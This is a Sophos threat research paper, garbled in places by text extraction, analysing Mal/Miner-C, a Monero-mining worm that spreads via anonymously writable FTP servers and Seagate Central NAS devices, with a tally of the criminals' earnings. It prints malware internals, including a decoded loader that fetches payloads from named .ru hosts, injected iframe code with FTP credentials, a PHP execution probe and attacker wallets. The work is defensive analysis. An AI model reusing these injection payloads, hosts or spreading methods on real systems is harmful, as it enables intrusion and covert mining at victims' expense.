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Security made simple.

Cryptomining malware
on NAS servers

A couple of years ago, coin mining was a bubbling story. There were
many threats that used infected machines to mine cryptocurrencies at
the expense of the victim. Mining coins on someone else’s machine
could provide the attacker with free CPU resources from each infected
system, so there was no need to steal directly from the victim. The
infected machine would also deliver the block rewards from the mining
operations into the attacker’s wallet.

The idea was perfect from the criminal’s point of view, but as time went
on the average PC was no longer powerful enough to mine even a single
coin. It was time to give up on this type of attack and turn the attention
to other ways to make money, like ransomware. Recently a new
malware family has found a way to use PCs efficiently to mine new types
of cryptocurrency.

Attila Marosi, Senior Threat Researcher, SophoslLabs
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Cryptomining malware on NAS servers

Introduction

A couple of years ago, coin mining was a bubbling story. There were many threats that used

infected machines to mine cryptocurrencies at the expense of the victim. Mining coins on

someone else’s machine could provide the attacker with free CPU resources from each infected
system, so there was no need to steal directly from the victim. The infected machine would also

deliver the block rewards from the mining operations into the attacker’s wallet.

The idea was perfect from the criminal’s point of view, but as time went on the average

personal computer was no longer powerful enough to mine even a single coin. It was time to

give up on this type of attack and turn the attention to other ways to make money, like
ransomware. Recently a new malware family has found a way to use PCs efficiently to mine

new types of cryptocurrency.

Monero: the cryptocoin

For Bitcoin, the main challenge with mining was the difficulty. As more blocks were discovered,

the difficulty associated with mining new coins also increased exponentially. After a certain

point there was no measurable profit to be gained from mining using personal PCs. [1] As you

can see in the picture below, the difficulty of mining increased dramatically after 2012.

-

A chart showing bitcoin difficulty changes over time
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After that point in 2012, mining on PCs became unprofitable and criminals lost interest, so they
gave up trying to use victims’ computers to mine and turned their attention to other types of

malware to make money.
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Although mining Bitcoins is no longer profitable, there are plenty of other digital currencies that
are quite new and are significantly less difficult to mine. Many of them have very good
cryptographic protections, which can effectively hide their users. One of these cryptocurrencies
is Monero. [2]

Monero is a new digital cryptocurrency that is easier to mine than Bitcoin, as you can see
below.

( )

Monero (XMR) Difficulty Chart

Zoom 1d w Im 3m All From | Feb 24,2016 | To | Jun 21,2016
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In this state, mining this type of cryptocurrency is profitable. Criminals recognized this and
started to spread a new malware payload that uses infected machines to mine coins at the
expense of the system owner’s CPU and GPU resources.

Based on my tests and information available on the internet, today’s average CPU can calculate
50-1500 hashes per second. This is not much on its own, but if hundreds or thousands are
pooled together it could be enough to be of interest to a criminal to exploit.

Most of today’s PCs have a dedicated video module, or equipment to perform video rendering
tasks called a GPU. This module can increase the number of hash calculations dramatically.
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(https://www.cryptocoinsnews.com/scrypt-mining-nvidia-gtx-750-ti/)
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Mal/Miner-C

Photo.scr

(hash:2a5b3c07e32b3b2b0c1ef33a10685027703440ec)

This threat is interesting not only for the technique it uses to spread and get new nodes to help
calculate hashes for the cryptocurrency, but it also attempts to copy itself to open (or weak)
FTP folders in the hope of being executed on other machines.

The main NSIS

We have seen many versions of this threat. It is developed and maintained continuously, but all
the versions seem to share a specific property: all the versions are developed in NSIS [6].

Contains multiple versions of miners:

4 A
(J[SPLUGINSDIR] <DIR>
| INSIS] nsi 2421
| ‘| Data bin 78 642
1#=load exe 45520
™ ]NsCpuCNMiner32 exe 1433600
™ |NsCpuCNMiner64 exe 1563136
[ ]NsGpuCNMiner exe 1594 368
i pools txt 160
= tmp ini 3164
- y,

The NSIS script queries information about the host system’s CPU type(s) and GPU capabilities
before creating AutoRun entries used for running itself. (NSCpuCNMine32.exe /

NSCpuCNMine64.exe and NSGpuCNMine.exe)

660965d1ee4013c80£7e0e27725e43£3d316325a NsGpuCNMiner.exe

fd358cfed4lc7aal3aa%e4cf62£832d8aecb6baa8l07 NsCpuCNMiner32.exe
celfbf382e89146eab5a22ae551b68198c45f40e4 NsCpuCNMiner64.exe
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The malware downloads the latest version of the NSIS script from one of these hosts:

= stafftest.ru
= hrtests.ru

= profetest.ru
= testpsy.ru

= pstests.ru

= gptest.ru

= prtests.ru

= jobtests.ru
= i.ru

igtest

The resources requested are typically named:

| ]
= test.h
= text.h

stat.html

tml
tml

The downloaded document contains a list with the mining pools for which it will contribute. In
our investigation it seems moneropool.com is the primary pool used by this threat.

stratum+tcp://mine.moneropool.com: 3333
stratum+tcp://xmr.hashinvest.net:1111
stratum+tcp://monero.crypto-pool.fr:3333
stratum+tcp://mine.cryptoescrow.eu:3333

The tmp.ini file contains the wallets to log the effort of the mining operations. The mining pool
will count and finally send payment to these accounts:

Bl [Section1]

pool0="-o0
pool3="-o
poolé="-o
pool5="-o
poolé="-o
pool7="-o
poolg="-o
pool9="-o

00D0O0O0DOGOO DO

Lpool119="-0
[Section2]
[Section10

name="cryp

stratum+tcp://mine.moneropool.com:3333

44¥nh6bQr3 8bQCRYYBSuoVYdFWbabdByYcoTZQQCHY 2y SNHScatk3wCWINGJusF63 21 LR8uYKF jAyYNu3wchRecLDI 89XqS

stratum+zcp://mine 1.com:3333 -u 4Ra3TcU7ixMVCYwbswS8ENVLFWT4ZugrNBVijSTRVPCTpGRKSBKBHQPuT7anT722A6547a5LenTyPZV1xU222bvigrUXTIVUP
stratum+tcp://mine.moneropool.com:3333 -u 4ASTnarSDSK3PW6kDSDSwm4Ha9abEeUU2ik2D3KwBXTVE81iVSAHT raxLpAU4ZGbzneh4ohNCIX1LBZYPruzN3xKxGrorU2g
stratum+ccp://mine 1.com:3333 -u 44kr kgyoQEQXzi 1tDK3HrMSzFvISEemvIFtSK4aP3208Pg9aQal rgVANTKAH3XzJLRqt 9qns 6nQ8 10K
stratum+tcp://mine.moneropool.com:3333 -u 42NBK22Z1QgbgDeJPuFD3G3UKejbtaylwHd 3VVYVG1rp8sSt oxtwf41dgVeG3Lyfal3iXbiAwdtqLuBSDerXy

stratum+tcp://mine.moneropool.com:3333
stratum+tcp://mine.moneropool.com:3333
stratum+tcp://mine.moneropool.com: 3333
stratum+tcp://mine.moneropool.com:3333

433pYLHIYTX65gNQYsht7zgH2ayeT3USGI10wZMEWi 9gZYCTyroe 6RCINKLKPu36DAGECTKL FxPMTPRWVS 17M5C 713aljw
41mieBAQARVDHPCVV3cLWnKp43geNqoKUBL 7rgJwR21x8BwPCe £GCNigve T 6RC3rcvaytoALQqVEN6uwZufewsYnRxj Fkak
43£23653yasJKRGELIHS£diS2NFENVNEYA2VBEE QK48EbSnEULSrknSUGLGET 9DKNS1n8 1MmUNYTQUUEARLY
423ZmFqepPyXH24VeFrJwpMeC2HLZWepp) Q8S0NgsiidkhnBe8x3PXDASMQETzD7dy9GKQEqYw4BYH1yi 4bJRrLeGIPIHUG

stratum+tcp://mine.moneropool.com:3333 -u 49SnrvNYkDmSntXnvawFxqasbnhGiGVyoBgv3zETsRIAVEE2X4ebdgzN4dND2ZE6zeTNE3VZANWuS4eryaBlYSucs4qaudng

stratum+zcp://mine. 1.com:3333 -u 43rZr2dDZTKSIMtEWqYeRwWi) fNME2u6Z6Pen3DZnBiedBkZiXtiMVRWXrAucASPSQBs1TMmuzidoFWwoEhkiNZEBUGKKVEe
stratum+zcp://mine.moneropool.com:3333 -u 44puJ9e273yKclet48J75ZLQ4pDcos96c6ussvewHgCCeelTYqXxzpyR3Y793DIMKGEYTHI tC6TRATeDbtvErgGHODNBGX
stratum+zcp://mine. 1.com:3333 -u 48mQG3H7HQREmewEdjfu3P2N72TfELqnzQaVKXn3DvkITeQoGi TxebwV1zoMGGAFD3RRIVSaAPJIE xJISkibzX
stratum+zcp://mine.moneropool.com:3333 -u 487wEqThmwob8YMUrurbYBYx88kmeAESVU21bzTFNaB2w96FcvwxBJIrFOSWABABNPASCYTtAmoz233y) tERVEWRgk3 VXh
stratum+zcp://mine. 1.com:3333 -u 48XnfySCkezbwF6HBdxfNeSnqUexvmmCNA6YKNENCDIpgvGYsYMDIWZVZtFF9Kee ndbalXC3dg2Y2g1ZxnxMHa6FNkoLVd

stratum+tcp://mine.moneropool.com: 3333
stratum+tcp://mine. l.com:3333

46Cr¥Az27Y33897qGY8ePCSOcpRksgpt ££2P1 DMLY 8HWX1Z 6HYNHEWEL 68 rSq0GdIR37 ILLEOUmyVRCI XLeLav¥RzQuryX
4 1uW67g3LmrEQpiqGUlJ qwXeFYS) zqPPPt 8 FgREe YMQbDUGPP0sSDTRETMkor £5VI2wgZYe lokBaSEkSGrKKsH

stratum+tcp://mine.moneropool.com:3333
stratum+tcp://mine.moneropool.com:3333
stratum+tcp://mine.moneropool.com:3333

1

tonote"

43tjagd2e8d4GXzYnSxmysYmDnLbvvZ SHFPEMWE g4Cs1DLwzt FENYbNBZEYE fmunpCXFHDZXUWN2Q: TMEVE
44NXd9V7n6ABKT s9xq) KkWAPrWgySEPA] gT7G2yqrjDySpZyDyVIvhaeu6AMgTFXhzT9cYy 52 SACOMKACTZBag) 8UFxg7qB
48BdVBvJ1ikXN4p918KEKDbKO2 ymnHaZbsbkUPQWE Qw3 XDT I v6ZcEFEYnNOU4XI92JQnoccB6ua4t PpECHNTE 1wMadNE

-P
s

The resources which are downloaded at runtime are obfuscated by ROT47 with a custom
character set.
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For example, the stat.html file originally looks like this:

|<HTML>

|<HEAD>

|<BODY>

<IMG

O/WFO@Rxr [IMGiignrsr

SrwC9,8er66%9e [uSOLID[:=08h
I&9.["Sw/:6\0&9.n0&9"
Rry/ré6wESr&/wi09.Lx?xr@[/6xe
529tI.6wDrw70@6[.x?re629t
SO0@r.wI.6w7RR[60RT.w
k5r40.r[&['SweC8g[S’
k5r40.r[6['SweC,8[$"
k5r40.r[4['FOGr[u.9.47w7G [’
k,7&e9[j[J[hlg
0.rwebb3rw[uTOSTACK["2ww8bu${j}" ["" [uEND
P98 [S$R1

P98[$R1

S{&}f["[ mnbvcxzlkjhgfdsapoiuytrewqg/09876543211@=%&2:.,["
S{&}RA[""

After decoding:

<HTML>

<HEAD>

<BODY>

<IMG

CutFile IMGOO3.exe
SetCompressor /SOLID bzip2
Icon "Stubs\icon.ico"
RequestExecutionLevel user
ShowInstDetails nevershow
SilentInstall =silent

'define c

'define s

'define £

'macro 1 1 2 3

inetc::get /TOSTACK "http:/${1}™ "" /END

Pop $RC

Pop SRC

${c}4 "™ ,.:2&%=@'1234567890/qwertyuiopasdfghjklzxcvbnm "
${c}R5 """

This method gives the criminals an opportunity to update the malware each time it is started.
Since it generates a new initialization file when it is launched, it helps the malware avoid
security solutions. It also gives the botnet operators a chance to change the payload of the
threat in the future, for example, dropping ransomware to the victim’s machine after the
mining business is no longer profitable.
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tftp.exe

Interestingly, not all the instances of the malware contain the tftp.exe file.

23ec304fab33aflcacf0al67aeb7465631286128 tftp.exe

This executable just randomly generates IP addresses and tries to login. It has an embedded list
of usernames and passwords that it uses to try to gain access.

It’s a kind of worm: if a host gets infected, it not only serves its owner by mining digital

currency, but it also tries to infect other systems via FTP services.

If the embedded credentials are able to successfully connect to an FTP service, it tries to copy
itself to the server and modify an existing web-related file with the extension .htm or .php in an
attempt to further infect visitors to the host system.

loc_4615A5:

lea eax, [ebp+FindFileData.cFileName]

mov [esp+BCh+dwAccessType], offset SubStr ; " .htm"
mov [esp+BCh+1pszAgent], eax ; Str

call strstr

test eax, eax

jz loc_461858

loc_401850:

lea eax, [ebp+FindFileData.cFileName]

mov [esp+BCh+dwAccessType], offset a_php ; ".php"
mov [esp+BCh+1pszAgent], eax ; Str

call strstr

test eax, eax

jnz loc_4815C3

If a file with this extension is found, the threat injects source code that creates an iFrame

eax, [ebp+FindFileData.cFileName]
[esp+BCh+duwAccessType], offset a_htm 0 ;
[esp+BCh+1pszAgent], eax ; Str

strstr

eax, eax

loc_4615C3

“HTH™

v

eax, [ebp+FindFileData.cFileName]

[esp+BCh+1pszAgent], eax ; Str
strstr

eax, eax

loc_4815C3

[esp+6Ch+dwAccessType], offset a_php_0 ;

“_PHP"

referencing the files info.zip or Photo.scr.
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M

mov eax, [ebp+lpszSearchFile]

mov [esp+BCh+1pszServerName], eax

mov eax, [ebp+lpszServerName]

mov [esp+ ], eax

mov eax, [ebp+lpszPassword]

mov [esp+BCh+1pszProxyBypass], eax

mov eax, [ebp+lpszUserName]

mov [esp+8Ch+dwAccessType], offset alframeSrcFtpSS ; "<iframe src=ftp://%s:%s@%s/%s/info.zip
mov [esp+BCh+1pszProxy], eax

lea eax, [ebp+szSearchFile]

mov [esp+BCh+1pszAgent], eax ; Dest
call sprintf

mov eax, [ebp+File]

mov [esp+8Ch+dwAccessType], eax ; File
lea eax, [ebp+szSearchFile]

mov [esp+BCh+1pszAgent], eax ; Str
call fputs

T

If someone opens a page infected like this, the page will pop up a “save file” dialog. This kind of
social engineering is needed to execute this threat, as it cannot infect machines automatically,
but it bring the threat very close to the victim. Ultimately this threat needs the user to click or

run the file in order for the new system to become infected.

This will be further described at the end of this paper. Since this action is noisy, the majority of
potential devices that could be infected in this way have already been infected. After a time,

III

the criminals behind this threat may opt to not spread this “too
ineffective as a mechanism for infecting additional systems.

Interesting notes

with malware, as it may prove

There is a scanner- or hacker-related service that | have no detailed information on, but | have
observed many times within the last year. It involves placing a file on the device with the name

w0000000t.php.

This file contains:

<?php echo base6t4 decode ("bmO9wZW5vcGVub3B1"); 2>

If the file upload was successful, requesting this document as
http.://xxx. xxx.xxx.xxx/w0000000t.php would result in the following response:

nopenopenope

This provides the attacker with proof of code execution capabilities on the host.

While searching for Mal/Miner-C, we found many hosts identified with this method, indicating

that the host was most likely compromised more than once. On the first occasion,
w0000000t.php was deployed. Later, Mal/Miner-C may have been deployed using the
knowledge of the host’s ability to execute code on the device by injecting the iFrame.

<?php echo base64 decode ("bmO9wZW5vcGVub3B1"); 2>

<iframe src=ftp://ftp:shadowl@l96.xxx.xxx.76//info.zip width=1 height=1
frameborder=0>

</iframe>

<iframe src=Photo.scr width=1 height=1 frameborder=0>

</iframe>
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The highlighted credential was used in this case by Mal/Miner-C to upload an instance of
info.zip, Photo.scp as well as infect the .php file.

Telemetry of the threat

In the first 6 months of this year we counted 1,702,476 individual instances of this threat.
However, the number of unique IP addresses corresponding to these instances was only 3,150.
The reason for this is simple: The threat is trying to log in to FTP services with embedded
credentials (anonymous, root, admin, etc) with default and frequently used weak passwords. If
successful - and the account has write access with using the FTP service - they will copy
Photo.scr and info.zip to each folder recursively. Thus, if a single FTP server is infected, it is
infected with multiple instances.
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Seagate Central

seagate (@

This threat is not targeting the Seagate Central device specifically; however, the device has a
design flaw that allows it to be compromised. Most all of these devices have already been
infected by this threat.

This is how the Seagate Central device separated the private and public folders.

4 )

3. Private Folders

Seagate Central comes with a Public folder. Use the Public folder for content that can be
shared with everyone on the home network and with anyone who has a remote access
account on the device.

A private folder is created with a user account. Use a private folder for personal content that
you don't want to share with others. Only the person who knows the account name and
password can access the private folder at home. If an email address is associated with the
folder, the person can access the folder remotely.

(Seagate private and public folder conception)
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As you can see, the device can facilitate multiple levels of accesses, including many private
accounts as well as a built in public account. If you read the manual carefully, you will find a set
of properties like this:

= By default the NAS system provides a public folder for sharing data. This public folder and
account cannot be deleted or deactivated.

= For private data, one must create users and each user will have associated folders and
individual login credentials for them.

= The admin user has the ability to enable the device for remote access or turn this feature
off entirely.

= |f the device is enabled for remote access, all the accounts will be available on the device,
including the anonymous user. In this state, your device is open for anyone to write to your
public folder.

= Note: The device can be used to stream your media content from a remote location, only the
public folder content can be streamed in this way. Many other features are only available
from the public folder. | suspect that this is one of the reasons why so much personal data
resides in the public folder as users do not switch between folders. They utilize the one
which provides them the most flexibility and functionality, and in most cases that is the
public one.

If we log in to a Seagate Central, we will see something like this:

Connected to

220 Welcome to Seagate Central Shared Storage FTP service.
Name (N : -onymous
331 Please specify the password.
Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> passive

Passive mode on.

ftp> cd Public

250 Directory successfully changed.
ftp> dir

227 Entering Passive Mode (101,167,173,16,242,1).
150 Here comes the directory listing.

65534 65534 65536 Jun A

65534 65534 65536 Feb

0 65534 34 Feb Manage Seagate Central Seagate-lR.url
65534 65534 65536 Feb Music

(C] 65534 65536 Aua Network Trash Folder

65534 65534 1245184 May Photo.scr

bbb34 bbb34 bbb3b Feb ) Photos

(C] 65534 65536 Aug Temporary Items

65534 65534 65536 Feb Videos

65534 65534 3528005 May info.zip

drwx rws rwx
drwxrwsr-x
-rw-r--r--
drwx rws rwx
drwx rws rwx
- FWX WX rwx
drwx rws rwx
drwx rws rwx
drwx rws rwx
- FWX FWX rwX

P WL, WO, SN
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There is a folder Photos and a file Photo.scr (sadly, most of the Windows machines file
extensions are not displayed), and it also has a deceptive icon that is intended to look like a
typical Windows folder icon.

Anyone could be easily misled to double click on the file and cause the program to begin
execution on the machine.

Turning off the remote access can prevent the infection, but also means we lose the ability to
access the device remotely.

~\
Disable remote access
1. Sign in to the Seagate Central web page as an administrator.
2. Click the Services tab, and then click Remote Access.
3. Deselect Enable.
Files on your Seagate Central device are no longer accessible over the Internet.
To disable remote access to the device for a specific user, remove the remote access
email from the user’s folder. To learn how, see Edit a private folder.
W,
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Moneropool: mined coins

Moneropool is a mining community to mine Monero cryptocurrency. It based on a mining
framework called node-cryptonote-pool.

MoneroPool.com is a fast and reliable Monero Mining Pool with low fees. Thank you for mining with usl!

2016-04-01: New feature: server-side TCP keep-alive for up to 10-20% more efficiency. No need to upgrade your miners

2016-03-30: We collected 269.80 XMR for the core dev Team!

Network Our Pool Market
@& Hash Rate: 14.80 MH/sec @& Hash Rate: 861.45 KH/sec

©® Block Found: 8 minutes ago © Block Found: 24 minutes ago

& Difficulty: 1862199844 %% Connected Miners: 99

= Blockchain Height: 1075847 it Donations: 0.2% to core devs

(8] Last Reward: 11.9739 XMR (2] Total Pool Fee: 1.9%

@ Last Hash: scefcosaifarr. .. D Block Found Every: 35 minutes (est.)

([7] https://moneropool.com/)

Luckily, if you know the hash of the wallet you can get a report about the activities of it. The
most interesting part of this report is the Total Paid and the Hash Rate. The hash rate is an
accumulated value. Using this we can calculate how many coins can be mined in a day.

Your Stats & Payment History

44Ynh6bQr j8bQcRYyB5uoVYdFWbqbdByYcoTZQQCHYzy5NH5 catk 3WCHING JusF 6 j21LR8UYKF jAyYNu3wchRecLDi89XqS Q Lookup

& Address: 44Ynh6bQr j8bQcRYyB5uoVYdFWbgbdByYcoTZQQCHYzy5NH5catk3wCWINGTusF6jz1LR8uYKF jAyYNu3wchRcclLDj89XqS

I Pending Balance: 0.074924015822 XMR
(8] Total Paid: 4912.400000000000 XMR

© Last Share Submitted: less than a minute ago

| @ Hash Rate: 40.39 KH/sec |
& Total Hashes Submitted: 616024438906
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The Total Paid is the money that the criminals already get, the real profit of the network.

~
Your Stats & Payment History
44Ynh6bQr j8bQcRYyB5uoVYdFWbqbdByYcoTZQQCHYzy5NHS catk 3WCHING JusF 621 LR8UYKF jAyYNu3wchRecLD389XqS Q Lookup ‘
Q& Address: 44Ynh6bQrj8bQcRYyB5uoVYdFWbgbdByYcoTZQQCHYzZy5NH5catk3wCHINGTusF63z1LR8UYKF jAyYNu3wchRecLDj89XqS
I Pending Balance: 0.074924015822 XMR
(8] Total Paid: 4912.400000000000 XMR
© Last Share Submitted: less than a minute ago
@ Hash Rate: 40.39 KH/sec
& Total Hashes Submitted: 616024438906
J
We also get the payment history, but with this technology there is no way to track the
payments, which is one of the primary features of this cryptocurrency.
\
Payments
@ Time Sent @ Transaction Hash 8] Amount a0 Mixin
6/23/2016, 4:25:13 AM 588568a9c139acch04823fad1ad4ec495f6727d5726baad6aaafb4b9c3478ba57 2.5000 4+
6/23/2016, 12:25:11 AM fe41e70d007dd3ce 1.2000 4
6/22/2016, 4:25:07 PM 27266bd87d21ff1c 0.5000 4
6/22/2016, 2:25:06 PM 674a070241aeb6d034beae5e194c93abo 96f90d97cce 9.5000 4
6/22/2016, 12:25:04 PM 14172efecad46d927falb5c2aal53f8a86654d8e@c7719431d8f34b00d23f5a5 1.1000 4
6/22/2016, 8:25:01 AM 7bb6aca209466bfch5410192dd8b7dedaf5275118240440fa3e5b69da6896924 1.2000 4
6/22/2016, 6:24:59 AM 62acb2c7dae46f6b86a7926adcd8180edf2dc36a5a89 2a3881b044e6e9dd 0.8000 -
J

(address information)

Let’s do some math

Because the mining pool site shares much of this information and we know the wallet

addresses collecting the rewards, we can do some calculations about the network and discover

what was “mined” by it.
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Here are the known wallet hashes:

44Ynh6bQrj8bQcRYyB5uoVYdFilbgbdByYcoTZQQCHYzySNHScatk3wCWINGIusF67z1LRBUYKFjAyYNu3wchRccLDB9XqS
4Aa3TcU7ixMVcYwbswBENVbFwt4ZuqrNBVijSTRvPCTpGRKSBKBHQPU7ahT722A6547a5Lcn7yPZV1xU22ZbvigxUX7IVuP
4ASTnar5DSKjPWekD5SD5wm4Ha9abEeUU2ik2D3KwBXTV881iVSAHTraxLpAU4ZGbzneh4ohNCX1LBZYPtuzN3xKxGrtru2g
44aknnxmvnkkgyoQfQXziaXNAbxuxitDK3HrM5zFvISjEemwvIFt5K4aPj20HPq9aQalrgVAW7KAH3XzILRqt9qns6nQ81gH
42NBK2ZZ1QgbgDeJPuFDjG3UKe jbtaylwHdFbxq6pjvVYVG1rp85SucuJhoxtwf41dgVeG3Lyfjal3iXbiAwdtqLuBSDcrXv
43jpYLHIYtX65gNQYsht7zgH2ayeT3USGI 1owZMfWi9gZYC7yroe6RcIWK1kPU36DAGECTKEFXPMTPRWV17M5Cj713aljw
41mieBAQdRVDWPCVV3cLiWnKp43geNqoKUBi7rgIwR21x8BwPCefGCNigv8t6RC3rcvgytoALQqVFN6uwZufewsYnRxjFkaH
4312365s5yasIKRGGLIOH5FdiS2NfEnvn6Yd2vB8HxcqbMhXWgrmQK48EbsnHULSrknSUGiGETIDKNS1n81MmUWYTQUuUHdhbV
42sZmFqcpPyXH24VeFrIwpMeC2HLZw8ppjQ8SokgsiidKhnBe8x3PxDASMEETzD7dy9GXQ8qYw4BYH1yi4bJIRrLcGIPIHUG
49ShrvNYkDmSntXnvqwFxqasbnhGiGVyoBgv3zE7sRjAVFE2X4ebdqzN4dNDzE6ze TN83VZAnwuS4eryaBlYSuc84q8udh9
43rZr2dDZTKSIMtfWqYeAwlij fNME2u6Z6Peh3DZmBie9BkZiXtiMVRWxXrAucASPsQBs17MmuzidoFwofhkiWzEBUGKKVBe
44pul9e27jyKclet48175ZLQ4pDcos96c6udavewHgCCcelTYqXxzpyR3gY793D9mKGEY7W] tC6TKA7eDbtvfrgGHODNBGX
44wiZ4KauaPWMBQLMiNL2wBKWSrznkb8MVTAZSWEWjx2F JeHIKjLsymcVBpzG35eGCETKMiTWBF2z4k2JgPFhZXR5tMI2hE
487wfqThmwob8YMUrurbYBYx88km8AE9VU21bzTFNhaB2wI6F cvwwxBIrFoSWABABNPASCY7tAmoz2j3yjtfRVEWRgkjVXh
48XnfySCkezbwF6HBdxfNeSnqUexvmmCNAG6YKNHNcDjpgvGYsYMD1WzVztFFIKeeIn4baHXC3dg2Y2g1ZxnxMHa6FNkoLVd
46CrKAz27Y3j891qGY8ePCS9cpRksgptffaP1DML7j8HWXiZ6HYNHEWE t68rSqoGdIR379LLEoumyVRCIXLsLqvYRzQuryX
43dNpkPmQiuW67g3LmrEQpiqGU1jqwX8FYSjzqPPPt8FgRHeYMQbDUgPPfos5DTKH7MkorfSVI2wgZYelokBaSEKSGrKKsH
43tjagd2e8d4GXzYnSxmysYmDnLbvvZSHFPbMWtg4Cs1DLwz tFENYbNBz8Y8fmuhpCXFHDZXUWN2QZwhswsNtgzTM8v899K
4Ahxep5d8sdfVfNAXGPTQyUSpLm7gKqYvgqGzxfSralLZAHQ7dn20BzYdFCB3M3GTz74CIQAS7DSMiINFVD1ykAbgSiAzCd4
44Nxd9v7n6AEKTstqukNAPr\-.lgySEPAjgT7GzyqrjDy9pZyDyVthaeusA:v‘lgTFXhzTQchSZSAConA(TZBagj8UFxg7qd

Luckily the framework used by Moneropool (node-cryptonote-pool) [3] has a good APl interface
and data can be queried easily:

curl

'https://api.moneropool.com/stats address?address=4ASTnar5DSKjPW6kD5D5wm4Ha%
bEeUU21k2D3KwBxTV88iV5AHTraxLpAU4ZGbzneh4ohNCjX1LBZYPtuzN3xKxGrtrU2g&longpoll
=true' | python -m json.tool

The result:

"stats": {
"hashes™: "616222484575",
"lastShare”: "1466690033",
"balance": "984682030855",
"paid”: "4913500000000000",
"hashrate”: "33.37 KH"

"payments™:
|"34deebcef64£e037349&c4f7c0b2ecbcbfd99591d7acff9e2953af6231b94909:1109900099000:109090090909:4",
"14666838314",
"588568a9c139%9acch@4823falladec495f6727d5726baadbaaath4b9c3478bas7 : 500000000000 : 100000000000:4" ,
"1466681113",
"3282e929e3108752756a891804326a0al5c09305F3a%aac0fed41e70d007dd3ce : 1200000000000 : 100000000000:4" ,
"1466666711",
"b568fc9f429db6c6b354c72f@d962124fccda219b@1b52de27266bd87d21ff1c : 500000000000 : 100000000000:4",

In this case, using only one wallet address, the mining pool sent 4913,5 XMR crypto coins to the
criminal’s wallet. At the moment of the HTTP request, the accumulated hash rate of the
infected machines was 33,370 hashes per second.

If we iterate all the wallet addresses and calculate the full power of the network, then add the
money they have already mined, we get this:

moneropool.com has paid 58,577 XMR to them. At the time of the calculation the exchange
rate from XMT to EUR is 1.3 EUR.
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~
Coin Code Price Market Cap Trading Volume
Monero XMR €1.30766991 €15,981,770.1 €300,559.6
M The value of Monero for today is €1.30766991. It has a current circulating supply of 12.2 Million coins and a total volume exchanged of €300,559.6
.‘ See where it stands in the ¢ Or"\;]\éi&' ranking
XMR 58577| x: EUR 76599.3801268271
J
([4] https.//www.coingecko.com/en/price_charts/monero/eur)
With the exchange rate at the time it was worth 76,599 EUR.
Furthermore, the network of the infected machines has an accumulated power to calculate
431,000 hashes per second. According to the calculator of the site, it is enough to mine 327.7
XMR each day.
~\
Estimate Mining Profits
431 KHis~ = 327.7 XMR/day
J

Using the same method as before, we can estimate that they earn approximately 428 EUR each
day.

One interesting final note: The entire monorepool.com pool has 861,000 hashes per second
accumulated at this rate. And the network of the infected machines has 431,000 hashes per
second, which means roughly half of the total pool doing the mining is doing so unintentionally
via infected systems.

Here is what the full Monero mining community looks like: 2.5% of the whole mining capacity
comes from infected machines.
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Monero network hashrate (est): 20.1 Mh/s
Total pool hashrate: 9.5 Mh/s
Time recorded:2016-07-28 09:27:02

Small pools 1.19 Mh/s

Unknown + Minergate 10.67 Mh/s
xmr.alimabi.cn 1.13 Mh/s

dwarfpool.com ©.74 Mh/s

monero.crypto-pool.fr 5.42 Mh/s

moneropool.com 0.98 Mh/s

Anonymous FTPs with write access

In this case, Mal/Miner-C used a very simple and well-known configuration mistake to spread
itself all over the world. We decided to see just how many homes and small businesses had

vulnerable devices by scanning the internet to look for them.

First,

we used a search engine called Censys to enumerate just under 3 million FTP servers

worldwide. Then we fed this list into a scanning script that:

Tried to connect anonymously to the FTP service.

If allowed, retrieved a directory listing from the device (to provide an indication of

compromise based on filenames).
If allowed, tested to see if write access was permitted.

The results were as follows:

IP numbers of FTP servers on original list: 2,932,833

FTP servers active during the test: 2,137,571

Active servers allowing anonymous remote access: 207,110
Active servers where write access was enabled: 7,263
Servers contaminated with Mal/Miner-C: 5,137
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More than 70% of the servers where write access was enabled had already been found, visited
and "borrowed" by crooks looking for innocent-sounding repositories for their malware.

If you've ever assumed that you're too small and insignificant to be of interest to
cybercriminals, and thus that getting security settings right is only really for bigger
organizations, this should convince you otherwise.

Very bluntly put, if you're not part of the solution, you're very likely to become part of the
problem.
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